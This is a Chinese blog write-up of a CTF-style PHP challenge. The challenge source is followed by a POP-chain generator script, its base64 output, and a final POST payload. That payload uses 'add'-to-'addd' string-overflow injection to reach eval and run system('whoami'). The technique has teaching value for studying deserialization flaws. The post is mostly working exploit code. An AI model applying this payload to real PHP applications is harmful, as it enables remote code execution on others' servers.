记一次简单的PHP反序列化字符串溢出
- IT业界
- 2025-07-21 19:22:26

今天朋友给的一道题,让我看看,来源不知,随手记一下
<?php // where is flag error_reporting(0); class NFCTF{ public $ming,$id,$payload,$nothing; function __construct($iii){ $this->ming=$iii; } function __wakeup(){ if($this->id==="NFCTF"){ $tmp = base64_decode($this->payload); $this->nothing=unserialize($tmp); } else{ die("you nonono!!!"); } } } class xiaohuolong{ public $x; function heeko(){ echo "heeko"; } function __toString(){ $this->x->nice(); } } class kabishou{ public $m; public $y; public $h; function __wakeup(){ $this->setm(); } function setm(){ $this->_m = ""; } function __destruct(){ $this->y=$this->h; die($this->m); } } class jienigui{ public $pay; function nice(){ eval($this->pay); } } $cmd=$_POST["cmd"]; if(isset($cmd)) { $newdata=serialize(new NFCTF($cmd)); $redata=str_replace("add","addd",$newdata); unserialize($redata); }else{ highlight_file(__FILE__); }首先是触发到eval($this->pay);的链子,很简单
jienigui::nice() <- xiaohuolong::__toString() <- kabishou::__destruct() <?php class xiaohuolong{ public $x; function heeko(){ echo "heeko"; } function __toString(){ $this->x->nice(); } } class kabishou{ public $m; public $y; public $h; function __wakeup(){ $this->setm(); } function setm(){ $this->_m = ""; } function __destruct(){ $this->y=$this->h; die($this->m); } } class jienigui{ public $pay; function nice(){ eval($this->pay); } } $jienigui = new jienigui(); $jienigui -> pay = "system('whoami');"; $xiaohuolong = new xiaohuolong(); $xiaohuolong -> x = $jienigui; $kabishou = new kabishou(); $kabishou -> m = $xiaohuolong; echo base64_encode(serialize($kabishou))."\n"; PS C:\Users\Administrator\Downloads> php .\test.php Tzo4OiJrYWJpc2hvdSI6Mzp7czoxOiJtIjtPOjExOiJ4aWFvaHVvbG9uZyI6MTp7czoxOiJ4IjtPOjg6ImppZW5pZ3VpIjoxOntzOjM6InBheSI7czoxNzoic3lzdGVtKCd3aG9hbWknKTsiO319czoxOiJ5IjtOO3M6MToiaCI7Tjt9 mochu7\administrator PS C:\Users\Administrator\Downloads>然后就是将Base64编码后的这条链的序列化字符串,赋值给$this->payload,使其在NFCTF::__wakeup()触发反序列化,然后NFCTF这个类,传参可控的是属性是$this->ming,替换规则是每出现一个add就替换为addd,长度变化为+1
把Base64的payload放进去,$this->id设置好,参考序列化的之后的字符串更直观
<?php class NFCTF{ public $ming,$id,$payload,$nothing; function __construct($iii){ $this->ming=$iii; } function __wakeup(){ if($this->id==="NFCTF"){ $tmp = base64_decode($this->payload); $this->nothing=unserialize($tmp); } else{ die("you nonono!!!"); } } } class xiaohuolong{ public $x; function heeko(){ echo "heeko"; } function __toString(){ $this->x->nice(); } } class kabishou{ public $m; public $y; public $h; function __wakeup(){ $this->setm(); } function setm(){ $this->_m = ""; } function __destruct(){ $this->y=$this->h; die($this->m); } } class jienigui{ public $pay; function nice(){ eval($this->pay); } } $NFCTF = new NFCTF('mochu7'); $NFCTF -> id = "NFCTF"; $NFCTF -> payload = "Tzo4OiJrYWJpc2hvdSI6Mzp7czoxOiJtIjtPOjExOiJ4aWFvaHVvbG9uZyI6MTp7czoxOiJ4IjtPOjg6ImppZW5pZ3VpIjoxOntzOjM6InBheSI7czoxNzoic3lzdGVtKCd3aG9hbWknKTsiO319czoxOiJ5IjtOO3M6MToiaCI7Tjt9"; echo serialize($NFCTF); // O:5:"NFCTF":4:{s:4:"ming";s:6:"mochu7";s:2:"id";s:5:"NFCTF";s:7:"payload";s:176:"Tzo4OiJrYWJpc2hvdSI6Mzp7czoxOiJtIjtPOjExOiJ4aWFvaHVvbG9uZyI6MTp7czoxOiJ4IjtPOjg6ImppZW5pZ3VpIjoxOntzOjM6InBheSI7czoxNzoic3lzdGVtKCd3aG9hbWknKTsiO319czoxOiJ5IjtOO3M6MToiaCI7Tjt9";s:7:"nothing";N;}我们要控制注入进去的对象属性是$this->id、$this->payload,也就是后面选中的这长度为239的字符串,包含开头的";,因为需要闭合$this->ming的内容格式才能被正确反序列化的。
明确了需要注入的payload长度为239,就可以设置替换字符为'add'*239,经过str_replace("add","addd",$newdata);就是'addd'*239,长度变化为+239,正好可以将后面这串 payload 挤出$this->ming的内容范围。如下图所示:
所示执行system("whoami")的命令的payload最终payload如下
cmd=addaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddadd";s:2:"id";s:5:"NFCTF";s:7:"payload";s:176:"Tzo4OiJrYWJpc2hvdSI6Mzp7czoxOiJtIjtPOjExOiJ4aWFvaHVvbG9uZyI6MTp7czoxOiJ4IjtPOjg6ImppZW5pZ3VpIjoxOntzOjM6InBheSI7czoxNzoic3lzdGVtKCd3aG9hbWknKTsiO319czoxOiJ5IjtOO3M6MToiaCI7Tjt9";s:7:"nothing";N;}即你需要注入的payload长度为多少,就构造能溢出多少长度的替换字符串。
记一次简单的PHP反序列化字符串溢出由讯客互联IT业界栏目发布,感谢您对讯客互联的认可,以及对我们原创作品以及文章的青睐,非常欢迎各位朋友分享到个人网站或者朋友圈,但转载请说明文章出处“记一次简单的PHP反序列化字符串溢出”
上一篇
AES加密技术:原理与应用
下一篇
OpenCV简介及安装